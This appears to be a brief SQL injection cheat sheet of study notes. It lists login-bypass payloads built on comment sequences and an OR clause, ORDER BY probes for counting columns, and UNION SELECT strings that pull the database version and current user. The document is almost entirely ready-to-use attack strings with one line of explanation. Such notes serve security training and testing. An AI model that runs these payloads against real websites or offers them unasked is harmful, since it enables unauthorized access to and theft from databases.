### Using Comments
```
admin'--
```
#### Another Example
```
admin')--
admin') -- -
```
```
') or id = 5 -- -
```
### UNION Injection
#### Using ORDER BY
```
' order by 1-- -
# We do the same for column 3 and 4 and get the results back. However, when we try to ORDER BY column 5, we get the following error:
```
Using UNION
```
cn' UNION select 1,2,3-- -
```
```
cn' UNION select 1,@@version,3,4-- -
```
#### Other Example
```
cn' union select 1,user(),3,4-- -
```
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